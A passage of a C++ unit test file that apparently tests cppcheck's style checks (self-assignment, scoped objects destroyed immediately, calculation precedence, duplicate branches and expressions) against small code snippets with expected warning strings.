assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides 